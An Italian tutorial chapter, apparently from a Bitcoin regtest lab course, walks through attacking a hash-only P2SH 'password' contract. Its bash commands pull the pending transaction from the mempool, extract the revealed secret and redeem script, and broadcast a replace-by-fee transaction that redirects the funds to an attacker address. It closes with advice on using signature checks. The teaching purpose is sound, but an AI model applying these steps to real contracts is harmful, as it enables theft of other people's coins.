Attaccare uno Smart Contract

Come accennato nel capitolo precedente il codice eseguito dagli Smart Contract Bitcoin e' pubblico e quindi puo' essere analizzato ed eventualmente attaccato.

Questo argomento e' collegato a quanto descritto in Bitcoin Smart Contract 101, proseguire senza aver seguito il capitolo precedente potrebbe essere difficile :)

Setup

Se provenite dal precedente capitolo e non avete minato blocchi dopo aver inoltrato la transazione finale siete gia' pronti.

Altrimenti potete eseguire il seguente per ripristinare la situazione

source /opt/wald/attaccare-uno-smart-contract/main.sh

Ricapitolando: adesso la transazione che contiene il redeem script ed i parametri di input per sbloccare la UTXO associata al P2SH e' in mempool.

Analisi forense :)

Accesso alla mempool

Qui sulla sinistra trovate due localhost bookmarks riguardo la mempool.

Bitcoin regtest mempool mostra un resoconto della mempool senza i dettagli delle singole transazioni.

Hansel get raw mempool mostra i dettagli delle singole transazioni.

Recuperiamo il transaction ID della transazione in mempool

Tramite il seguente comando siamo in grado di recuperare il primo transaction ID disponibile in mempool (arrivando dall'esercizio precedente abbiamo solo una transazione in mempool).

MEMPOOL_FIRST_TX_ID=`bitcoin-cli getrawmempool | jq -r '.[0]'`
echo "MEMPOOL_FIRST_TX_ID: $MEMPOOL_FIRST_TX_ID"

Recuperiamo lo ScriptSig associato alla transazione

Per poter accedere al codice sorgente (redeem script + parametri di input) dello Smart Contract bisogna prima ottenere lo ScriptSig!

SCRIPT_SIG_ASM=`bitcoin-cli getrawtransaction $MEMPOOL_FIRST_TX_ID 2 | jq -r '.vin[0].scriptSig.asm'`
echo "SCRIPT_SIG_ASM: $SCRIPT_SIG_ASM"

Noterete che lo ScriptSig e' composto da due sequenze esadecimali separate da uno spazio. L'ultima sequenza e' sempre la versione serializzata del redeem script.

Recuperiamo il redeem script serializzato e deserializziamolo

Per attaccare uno Smart Contract abbiamo bisogno di capire come funziona e quindi di poter leggere la versione del redeem script che mostra i nomi delle opcodes altrimenti e' un po' dura :)

REDEEM_SCRIPT_SERIALIZED=`echo $SCRIPT_SIG_ASM | awk '{print $NF}'`
REDEEM_SCRIPT_DESERIALIZED=`bitcoin-cli decodescript $REDEEM_SCRIPT_SERIALIZED | jq -r '.asm'`
echo "REDEEM_SCRIPT_DESERIALIZED: $REDEEM_SCRIPT_DESERIALIZED"

Attacco!

Osservando a fondo il redeem script deduciamo che l'unica verifica svolta e' l'OP_EQUAL finale.

Questo significa che conoscendo il parametro di input corretto possiamo costruire una nuova transazione che dirotti il pagamento.

I parametri di input sono gia' all'interno dello ScriptSig!

Inoltre tutte le informazioni necessarie per costruire la transazione che dirotta i fondi sono all'interno della transazione in mempool!

Recupero dei parametri necessari per l'attacco

Recuperiamo la transaction ID dell'UTXO da attaccare

ATTACKED_UTXO_TXID=`bitcoin-cli getrawtransaction $MEMPOOL_FIRST_TX_ID 2 | jq -r '.vin[0].txid'`
echo "ATTACKED_UTXO_TXID: $ATTACKED_UTXO_TXID"

Generiamo l'indirizzo dell'hacker dove si vuole dirottare i fondi

BENEFICIARIO_HACKER=`bitcoin-cli getnewaddress`
echo "BENEFICIARIO_HACKER: $BENEFICIARIO_HACKER"

Valutiamo quante fee dobbiamo impostare per attivare il Replace By Fee (RBF)

Con la release di Bitcoin Core 0.12 nel 2016 e' stato inserito il BIP-125 che consente di sostituire una transazione in mempool con una, che spende la stessa UTXO, le quali fee per i miner sono maggiori.

Per svolgere il nostro attacco dobbiamo quindi dedurre quante fee erano inizialmente previste dalla transazione che vogliamo attaccare.

Le fee di una transazione sono la differenza fra l'ammontare di bitcoin dell'UTXO che stiamo spendendo e l'ammontare di bitcoin inviati.

MEMPOOL_TX_AMOUNT=`bitcoin-cli getrawtransaction $MEMPOOL_FIRST_TX_ID 2 | jq -r '.vout[0].value'`
P2SH_UTXO_AMOUNT=`bitcoin-cli getrawtransaction $ATTACKED_UTXO_TXID 2 | jq -r '.vout[0].value'`
echo "Le fee sono la differenza fra i bitcoin $P2SH_UTXO_AMOUNT disponibili e i $MEMPOOL_TX_AMOUNT bitcoin che saranno spesi"

Recuperiamo tutti i parametri di input

REDEEM_SCRIPT_INPUT_PARAMS=`echo $SCRIPT_SIG_ASM | awk '{$NF=""; print $0}'`

Costruiamo la transazione malevola

Possiamo utilizzare lo stesso script del capitolo precedente per creare la transazione dell'hacker!!

# sostiuite questo valore cosi' da lasciare
# piu' fee di quante ne stia lasciando
# la tx in mempool
HACKER_AMOUNT=24.99
HACKER_RAW_TX=`/opt/wald/p2sh_password/create_raw_tx.sh $ATTACKED_UTXO_TXID "$REDEEM_SCRIPT_INPUT_PARAMS" $REDEEM_SCRIPT_SERIALIZED $BENEFICIARIO_HACKER $HACKER_AMOUNT`

Inviamo la transazione!

L'ultimo passaggio che rimane da fare e' inviare la transazione e poi controllare che sia stata sostiuita in mempool.

bitcoin-cli sendrawtransaction $HACKER_RAW_TX

Se riceviamo un errore absurdly-high-fee e' perche' abbiamo esagerato con le fee e Bitcoin Core ci blocca preventivamente, possiamo bypassare (ai soli fini ludici mi raccomando!!) questo controllo aggiungendo un secondo parametro 1000 al sendrawtransaction.

Ottimo! Con il seguente comando possiamo verificare che la transazione attualmente in mempool e' diretta verso l'address del LOHACKER!

MEMPOOL_TX_ADDRESS=`bitcoin-cli getrawtransaction $(bitcoin-cli getrawmempool | jq -r '.[0]') 2 | jq -r '.vout[0].scriptPubKey.
addresses[0]'`
echo "La transazione in mempool ha come address $MEMPOOL_TX_ADDRESS, l'hacker address e' $BENEFICIARIO_HACKER"

La gestione della mempool non e' supervisionata delle regole di consenso emergente riguardante i blocchi di Bitcoin.

Vero e' che se la maggior parte dei nodi della rete implementano il BIP-125 rigorosamente sara' possibile sostituire una transazione nella mempool di tutti i nodi solo se questa e' stata creata con l'apposito valore in nSequence.

Quindi si potrebbe creare la transazione che utilizza la UTXO P2SH "con password" senza attivare il BIP-125 (impostando a false l'ultimo parametro qua). Cosi' facendo la transazione malevola dell'hacker sara' rifiutata dai nodi, che implementano rigorosamente il BIP-125, perche' in conflitto con la transazione gia' in mempool la quale non aveva attivato l'RBF.

Chiaramente quando si parla di gestire bitcoin con Smart Contract non possiamo affidarci ai "se" ed i "ma" quindi sempre meglio progettare Smart Contract che non siano attaccabili mentre risiedono in mempool: vincolarne sempre l'esecuzione con successo o meno alle opcodes OP_CHECKSIG/OP_CHECKMULTISIG e con adeguati flag SIGHASH

Last updated